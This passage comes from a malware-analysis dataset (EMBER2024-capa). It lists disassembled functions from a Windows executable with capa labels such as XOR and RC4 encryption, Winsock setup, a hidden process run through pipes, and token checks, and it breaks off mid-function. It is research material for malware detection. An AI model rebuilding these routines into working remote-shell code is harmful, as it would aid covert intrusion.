joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140058050
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbp, qword [rsp + 0xa0]
mov rax, r8
mov rsi, qword [rsp + 0xa8]
mov rdi, rdx
mov rdx, rax
mov r8d, 1
mov r14, r9
mov rbx, rcx
call fcn.140057c80
test eax, eax
jne 0x1400581b7
cmp dword [rbx + 0xe8], 1
je 0x1400580af
mov eax, 0xffffffac
jmp 0x1400581b7
mov r8, qword [rsp + 0x90]
lea rcx, [rbx + 0x88]
add qword [rbx + 0xd8], r8
mov rdx, r14
call fcn.14005f000
test eax, eax
jne 0x1400581b7
mov r9, rsi
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.140057d50
test eax, eax
jne 0x1400581b7
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140057e20
test eax, eax
jne 0x1400581b7
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x20]
xor edx, edx
xorps xmm4, xmm4
sub rcx, rax
xorps xmm3, xmm3
nop dword [rax + rax]
xorps xmm0, xmm0
lea rax, [rsp + 0x20]
add rax, rdx
add rdx, 8
movd xmm2, dword [rcx + rax]
movd xmm1, dword [rax]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rax + 4]
punpcklbw xmm1, xmm0
orps xmm4, xmm2
movd xmm2, dword [rax + rcx + 4]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp rdx, 0x10
jb 0x140058120
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
test eax, eax
je 0x1400581b5
test rdi, rdi
je 0x1400581ae
mov rax, qword [fcn.14006c5b0]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call rax
mov eax, 0xffffffaa
jmp 0x1400581b7
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400581d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_recv
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
mov rbx, rcx
movups xmmword [rsp + 0x38], xmm0
call fcn.140028680
test eax, eax
jne 0x140058399
movzx eax, byte [rsp + 0x39]
movzx r8d, byte [rsp + 0x38]
movzx r9d, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x3c]
shl r8d, 8
or r8d, eax
shl r9d, 8
movzx eax, byte [rsp + 0x3a]
shl r8d, 8
or r8d, eax
shl ecx, 8
movzx eax, byte [rsp + 0x3b]
shl r8d, 8
or r8, rax
mov qword [rbx + 0xe0], 0
movzx eax, byte [rsp + 0x3d]
or ecx, eax
shl r8, 0x20
movzx eax, byte [rsp + 0x3e]
shl ecx, 8
or eax, ecx
mov qword [rbx + 0x60], 0
movzx ecx, byte [rsp + 0x44]
shl eax, 8
or r8, rax
shl ecx, 8
movzx eax, byte [rsp + 0x3f]
or r8, rax
mov r10d, 4
movzx eax, byte [rsp + 0x41]
or r9d, eax
mov qword [rbx + 0x120], r8
movzx eax, byte [rsp + 0x42]
shl r9d, 8
or r9d, eax
movzx eax, byte [rsp + 0x43]
shl r9d, 8
or r9, rax
movzx eax, byte [rsp + 0x45]
or ecx, eax
shl r9, 0x20
movzx eax, byte [rsp + 0x46]
shl ecx, 8
or eax, ecx
shl eax, 8
or r9, rax
movzx eax, byte [rsp + 0x47]
or r9, rax
mov qword [rbx + 0xa0], r9
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rbx + r10*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rbx + r10*8 + 0xe0], r8
shr r10d, 1
jne 0x1400582f1
mov r11d, 2
mov r8d, r11d
nop dword [rax]
mov r9, qword [rbx + r8*8 + 0xe0]
mov r10, qword [rbx + r8*8 + 0x60]
cmp r8, 1
jle 0x140058388
lea rax, [rbx + 0x68]
lea rdx, [r8 - 1]
nop dword [rax + rax]
mov rcx, r9
xor rcx, qword [rax + 0x80]
mov qword [rax + r8*8 + 0x80], rcx
lea rax, [rax + 8]
mov rcx, r10
xor rcx, qword [rax - 8]
mov qword [rax + r8*8 - 8], rcx
sub rdx, 1
jne 0x140058360
lea eax, [r11 + r11]
add r8, r8
mov r11d, eax
cmp eax, 8
jle 0x140058340
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x50
pop rbx
ret
Function at 0x140058a50
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rsi, rcx
mov rdi, r9
xor ecx, ecx
mov r14, r8
mov qword [rsp + 0x58], rcx
test r9, r9
je 0x140058cb6
movabs rax, 0x2000000000000000
cmp r9, rax
jae 0x140058cb6
mov qword [rsp + 0x98], rbp
xorps xmm0, xmm0
lea rbp, [rsi + 0x180]
movups xmmword [rbp], xmm0
movups xmmword [rsi + 0x190], xmm0
mov dword [rsi + 0x1a0], edx
mov qword [rsi + 0x160], rcx
mov qword [rsi + 0x168], rcx
cmp r9, 0xc
jne 0x140058aeb
movsd xmm0, qword [r8]
movsd qword [rbp], xmm0
mov eax, dword [r8 + 8]
mov dword [rbp + 8], eax
mov byte [rsi + 0x18f], 1
jmp 0x140058c8a
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x80], r15
lea r15, [r9*8]
mov rax, r15
mov r12, r15
shr rax, 0x28
mov r13, r15
mov qword [rsp + 0x30], rax
mov rax, r15
shr rax, 0x20
mov qword [rsp + 0x38], rax
mov rax, r15
shr rax, 0x18
mov qword [rsp + 0x40], rax
mov rax, r15
shr rax, 0x10
mov qword [rsp + 0x48], rax
mov rax, r15
shr r12, 0x38
shr r13, 0x30
shr rax, 8
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x60], xmm0
nop dword [rax]
nop word [rax + rax]
mov ebx, reloc.WS2_32.dll_recv
cmp rdi, rbx
cmovb rbx, rdi
test rbx, rbx
je 0x140058ba5
mov r8, r14
mov rax, rbp
sub r8, rsi
mov rdx, rbx
nop dword [rax]
movzx ecx, byte [r8 + rax - 0x180]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140058b90
mov r8, rbp
mov rdx, rbp
mov rcx, rsi
call fcn.140058510
add r14, rbx
sub rdi, rbx
jne 0x140058b70
movzx eax, byte [rsp + 0x60]
mov r8, rbp
xor byte [rbp], al
mov rdx, rbp
movzx eax, byte [rsp + 0x61]
mov rcx, rsi
xor byte [rsi + 0x181], al
movzx eax, byte [rsp + 0x62]
xor byte [rsi + 0x182], al
movzx eax, byte [rsp + 0x63]
xor byte [rsi + 0x183], al
movzx eax, byte [rsp + 0x64]
xor byte [rsi + 0x184], al
movzx eax, byte [rsp + 0x65]
xor byte [rsi + 0x185], al
movzx eax, byte [rsp + 0x66]
xor byte [rsi + 0x186], al
movzx eax, byte [rsp + 0x67]
xor byte [rsi + 0x187], al
xor byte [rsi + 0x188], r12b
xor byte [rsi + 0x189], r13b
mov rax, qword [rsp + 0x30]
xor byte [rsi + 0x18a], al
mov rax, qword [rsp + 0x38]
xor byte [rsi + 0x18b], al
mov rax, qword [rsp + 0x40]
xor byte [rsi + 0x18c], al
mov rax, qword [rsp + 0x48]
xor byte [rsi + 0x18d], al
mov rax, qword [rsp + 0x50]
xor byte [rsi + 0x18e], al
xor byte [rsi + 0x18f], r15b
mov rbx, qword [rsp + 0xc8]
call fcn.140058510
mov r15, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov r12, qword [rsp + 0x90]
lea rax, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
lea r9, [rsi + 0x170]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rsi
call fcn.140028680
mov rbp, qword [rsp + 0x98]
jmp 0x140058cbb
mov eax, 0xffffffec
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140068c30
add rsp, 0xa0
pop r14
pop rdi
pop rsi
ret
Function at 0x140058ce0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0x20
movabs rax, 0x2000000000000000
mov rsi, r8
mov r14, rdx
mov rdi, rcx
cmp r8, rax
jb 0x140058d0f
mov eax, 0xffffffec
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
mov rax, qword [rcx + 0x168]
mov r8, rax
mov qword [rsp + 0x40], rbx
and r8d, 0xf
je 0x140058dab
mov qword [rsp + 0x50], r15
mov r15d, reloc.WS2_32.dll_recv
sub r15, r8
cmp r15, rsi
cmova r15, rsi
test r15, r15
je 0x140058d75
add rcx, 0x190
mov r9, r14
add rcx, r8
sub r9, r8
sub r9, rdi
mov rdx, r15
nop dword [rax + rax]
movzx eax, byte [r9 + rcx - 0x190]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140058d60
lea rax, [r15 + r8]
lea rbx, [rdi + 0x190]
cmp rax, 0x10
jne 0x140058d94
mov r8, rbx
mov rdx, rbx
mov rcx, rdi
call fcn.140058510
mov rax, qword [rdi + 0x168]
sub rsi, r15
add r14, r15
add rax, r15
mov r15, qword [rsp + 0x50]
jmp 0x140058db2
lea rbx, [rcx + 0x190]
add rax, rsi
mov qword [rdi + 0x168], rax
cmp rsi, 0x10
jb 0x140058eac
mov qword [rsp + 0x48], rbp
mov rbp, rsi
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rsi, rax
nop dword [rax]
movzx eax, byte [r14]
mov r8, rbx
xor byte [rbx], al
mov rdx, rbx
movzx eax, byte [r14 + 1]
mov rcx, rdi
xor byte [rdi + 0x191], al
movzx eax, byte [r14 + 2]
xor byte [rdi + 0x192], al
movzx eax, byte [r14 + 3]
xor byte [rdi + 0x193], al
movzx eax, byte [r14 + 4]
xor byte [rdi + 0x194], al
movzx eax, byte [r14 + 5]
xor byte [rdi + 0x195], al
movzx eax, byte [r14 + 6]
xor byte [rdi + 0x196], al
movzx eax, byte [r14 + 7]
xor byte [rdi + 0x197], al
movzx eax, byte [r14 + 8]
xor byte [rdi + 0x198], al
movzx eax, byte [r14 + 9]
xor byte [rdi + 0x199], al
movzx eax, byte [r14 + 0xa]
xor byte [rdi + 0x19a], al
movzx eax, byte [r14 + 0xb]
xor byte [rdi + 0x19b], al
movzx eax, byte [r14 + 0xc]
xor byte [rdi + 0x19c], al
movzx eax, byte [r14 + 0xd]
xor byte [rdi + 0x19d], al
movzx eax, byte [r14 + 0xe]
xor byte [rdi + 0x19e], al
movzx eax, byte [r14 + 0xf]
xor byte [rdi + 0x19f], al
call fcn.140058510
add r14, 0x10
sub rbp, 1
jne 0x140058de0
mov rbp, qword [rsp + 0x48]
test rsi, rsi
je 0x140058ed5
sub r14, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r14 + rbx - 0x190]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x140058ec0
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1400594f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, qword [rsp + 0x70]
mov rdi, rcx
mov qword [r9], 0
mov rax, qword [rcx + 0x160]
mov rcx, qword [rcx + 0x168]
lea r15, [rax*8]
lea r14, [rcx*8]
test rax, rax
jne 0x140059545
test cl, 0xf
je 0x140059545
lea rdx, [rdi + 0x190]
mov rcx, rdi
mov r8, rdx
call fcn.140058510
mov rsi, qword [rsp + 0x78]
lea rax, [rsi - 4]
cmp rax, 0xc
ja 0x140059699
test byte [rdi + 0x160], 0xf
mov qword [rsp + 0x58], rbp
lea rbp, [rdi + 0x190]
je 0x14005957b
mov r8, rbp
mov rdx, rbp
mov rcx, rdi
call fcn.140058510
lea rdx, [rdi + 0x170]
mov r8, rsi
mov rcx, rbx
call fcn.14006bf10
test r15, r15
jne 0x14005959b
test r14, r14
je 0x140059686
mov rax, r14
mov r8, rbp
shr rax, 0x38
mov rdx, rbp
xor byte [rbp], al
mov rcx, rdi
mov rax, r14
shr rax, 0x30
xor byte [rdi + 0x191], al
mov rax, r14
shr rax, 0x28
xor byte [rdi + 0x192], al
mov rax, r14
shr rax, 0x20
xor byte [rdi + 0x193], al
mov rax, r14
shr rax, 0x18
xor byte [rdi + 0x194], al
mov rax, r14
shr rax, 0x10
xor byte [rdi + 0x195], al
mov rax, r14
shr rax, 8
xor byte [rdi + 0x196], al
mov rax, r15
xor byte [rdi + 0x197], r14b
shr rax, 0x38
xor byte [rdi + 0x198], al
mov rax, r15
shr rax, 0x30
xor byte [rdi + 0x199], al
mov rax, r15
shr rax, 0x28
xor byte [rdi + 0x19a], al
mov rax, r15
shr rax, 0x20
xor byte [rdi + 0x19b], al
mov rax, r15
shr rax, 0x18
xor byte [rdi + 0x19c], al
mov rax, r15
shr rax, 0x10
xor byte [rdi + 0x19d], al
mov rax, r15
shr rax, 8
xor byte [rdi + 0x19e], al
xor byte [rdi + 0x19f], r15b
call fcn.140058510
test rsi, rsi
je 0x140059686
sub rdi, rbx
movzx eax, byte [rdi + rbx + 0x190]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x140059672
mov rbp, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov eax, 0xffffffec
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400596b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, qword [rsp + 0xc0]
mov rbp, rdx
mov rbx, qword [rsp + 0xb0]
xor edx, edx
mov r15, qword [rsp + 0xd0]
mov rsi, rcx
mov r14, qword [rsp + 0xd8]
call fcn.140058a50
test eax, eax
jne 0x140059871
mov r8, qword [rsp + 0xb8]
mov rdx, rbx
mov rcx, rsi
call fcn.140058ce0
test eax, eax
jne 0x140059871
lea rax, [rsp + 0x30]
mov r9, r14
mov qword [rsp + 0x28], rax
mov r8, rbp
mov rdx, r15
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call fcn.140058fd0
test eax, eax
jne 0x140059871
mov rbx, qword [rsp + 0xc8]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x30]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.1400594f0
test eax, eax
jne 0x140059871
xor r8d, r8d
mov eax, r8d
test rbx, rbx
je 0x14005986f
lea rcx, [rsp + 0x38]
cmp rbx, 8
jb 0x14005981b
mov rdx, rbx
mov r9, rdi
and rdx, 0xfffffffffffffff8
xorps xmm4, xmm4
sub r9, rcx
xorps xmm3, xmm3
movd xmm2, dword [rdi + rax]
lea rcx, [r9 + rax]
movd xmm1, dword [rsp + rax + 0x38]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rsp + rax + 0x3c]
orps xmm4, xmm2
punpcklbw xmm1, xmm0
movd xmm2, dword [rsp + rcx + 0x3c]
add rax, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp rax, rdx
jb 0x1400597a1
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd r8d, xmm3
cmp rax, rbx
jae 0x14005984d
jmp 0x140059830
sub rdi, rcx
mov r9, rdi
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x38]
add rcx, rax
inc rax
movzx edx, byte [r9 + rcx]
movzx ecx, byte [rcx]
xor edx, ecx
or r8d, edx
cmp rax, rbx
jb 0x140059830
test r8d, r8d
je 0x14005986f
test rbp, rbp
je 0x140059868
mov rax, qword [fcn.14006c5b0]
mov r8, rbp
xor edx, edx
mov rcx, r14
call rax
mov eax, 0xffffffee
jmp 0x140059871
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14005ab90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rbx
push rbp
push rdi
push r12
push r14
push r15
sub rsp, 0x28
xor r15d, r15d
mov r12, r9
mov rbx, r8
mov r14, rdx
mov rdi, rcx
test rdx, rdx
je 0x14005abfb
mov r10, rbx
mov rcx, r9
sub r10, r9
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi + 0x80]
cmp rdx, 0x40
jae 0x14005abfb
movzx eax, byte [r10 + rcx]
inc r15
xor al, byte [rdx + rdi + 0x40]
mov byte [rcx], al
inc rcx
inc qword [rdi + 0x80]
sub r14, 1
jne 0x14005abd0
lea rbp, [rdi + 0x40]
cmp r14, 0x40
jb 0x14005acf1
mov qword [rsp + 0x60], rsi
mov r12, r14
shr r12, 6
mov rsi, rdi
imul rax, r12, 0xffffffffffffffc0
sub rsi, r15
mov qword [rsp + 0x20], r13
add r14, rax
mov r13, rbx
sub rsi, r9
lea rbx, [r9 + 1]
mov rax, r12
sub r13, r9
shl rax, 6
add rbx, r15
add rsi, 0x40
add r15, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14005a6f0
inc dword [rdi + 0x30]
mov ecx, 8
nop dword [rax + rax]
movzx eax, byte [rbx + r13 - 1]
xor al, byte [rbx + rsi - 1]
mov byte [rbx - 1], al
movzx eax, byte [rbx + rsi]
xor al, byte [rbx + r13]
mov byte [rbx], al
movzx eax, byte [rbx + r13 + 1]
xor al, byte [rbx + rsi + 1]
mov byte [rbx + 1], al
movzx eax, byte [rbx + r13 + 2]
xor al, byte [rbx + rsi + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + rsi + 3]
xor al, byte [rbx + r13 + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + rsi + 4]
xor al, byte [rbx + r13 + 4]
mov byte [rbx + 4], al
movzx eax, byte [rbx + rsi + 5]
xor al, byte [rbx + r13 + 5]
mov byte [rbx + 5], al
movzx eax, byte [rbx + rsi + 6]
xor al, byte [rbx + r13 + 6]
mov byte [rbx + 6], al
add rbx, 8
sub rcx, 1
jne 0x14005ac60
sub rsi, 0x40
sub r12, 1
jne 0x14005ac45
mov r13, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
test r14, r14
je 0x14005ad30
mov rdx, rbp
mov rcx, rdi
call fcn.14005a6f0
inc dword [rdi + 0x30]
mov rcx, r14
sub r15, rdi
lea rdx, [r15 + rbx]
lea r8, [r15 + r12]
movzx eax, byte [rdx + rbp - 0x40]
xor al, byte [rbp]
mov byte [r8 + rbp - 0x40], al
lea rbp, [rbp + 1]
sub rcx, 1
jne 0x14005ad12
mov qword [rdi + 0x80], r14
xor eax, eax
add rsp, 0x28
pop r15
pop r14
pop r12
pop rdi
pop rbp
pop rbx
ret
Function at 0x140061bc0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x140061bfa
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x140061c30
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140063840
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
cmp dword [0x1400b3f80], 1
je 0x140063880
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x140063898
mov dword [0x1400b3f80], 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.14006d9b0
int3
Function at 0x140063e38
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
je 0x140063e8d
lea r9d, [rax + 1]
cmp r9d, edi
jae 0x140063e8d
mov r8d, edi
xor edx, edx
mov rcx, rbp
call fcn.14006c5b0
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x140063e8f
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140063ea4
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x38]
sub rsp, 0x130
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor eax, eax
lea rdi, [rbp - 0x50]
mov rbx, rcx
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x60], rsi
lea r8d, [rax + 0x68]
lea edx, [rax + 0x18]
mov ecx, r8d
rep stosb byte [rdi], al
mov ecx, edx
mov dword [rbp - 0x50], r8d
mov dword [rbp - 0x68], edx
lea rdi, [rbp - 0x80]
rep stosb byte [rdi], al
lea edi, [rax + 1]
lea r8, [rbp - 0x68]
mov dword [rbp - 0x58], edi
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x70]
xor r9d, r9d
mov qword [rbp + 8], rax
xor r8d, r8d
mov qword [rbp + 0x10], rax
mov rdx, rbx
lea rax, [rbp - 0x80]
mov dword [rbp - 0x14], 0x101
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp - 0x50]
mov word [rbp - 0x10], si
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
mov qword [rbp], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140063fb3
mov rcx, qword [rbp - 0x80]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movups xmm0, xmmword [rbp - 0x80]
lea rcx, [rsp + 0x50]
mov r8, qword [rsp + 0x70]
movsd xmm1, qword [rbp - 0x70]
mov rdx, qword [rsp + 0x78]
movaps xmmword [rsp + 0x50], xmm0
movsd qword [rsp + 0x60], xmm1
call fcn.140065200
jmp 0x140063fc9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov ecx, 0x30
mov r8d, eax
call fcn.140063720
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140068c30
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140064b7c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x140064b61
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 5]
call rdi
mov rcx, qword [rbx + 8]
call fcn.14006dd54
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
cmp qword [0x1400b3fa0], rsi
mov rbp, rdx
mov rbx, rcx
jne 0x140064bba
mov ecx, 0x80004
call fcn.14006dc2c
mov qword [0x1400b3fa0], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x1400b3fa0]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x140064c0c
mov rax, qword [0x1400b3fa0]
mov edx, 1
mov r9, qword [rbx + 8]
add rax, 4
mov ecx, esi
add rcx, rax
mov r8d, edi
call fcn.14006e11c
test eax, eax
je 0x140064c08
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x140064bd8
jmp 0x140064c0c
and dword [rbx + 4], 0
mov rcx, qword [0x1400b3fa0]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x140064b18

Function at 0x140065234
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
lea rax, [r11 - 0x24]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [r11 - 0x30], rbx
xor r8d, r8d
xor edx, edx
mov qword [r11 - 0x38], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1400652e1
cmp dword [rsp + 0x34], ebx
jbe 0x1400652dd
cmp ebx, edi
jae 0x1400652dd
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, edi
mov rdx, rbp
sub r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x30]
xor r9d, r9d
and qword [rsp + 0x28], 0
add rbp, rax
add ebx, dword [rsp + 0x30]
lea rax, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1400652e1
cmp dword [rsp + 0x34], 0
ja 0x140065285
mov eax, ebx
jmp 0x1400652e4
or eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140065904
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov word [rbp - 0x14], 0x500
lea rax, [rbp - 0x20]
mov dword [rbp - 0x18], ebx
mov qword [rsp + 0x50], rax
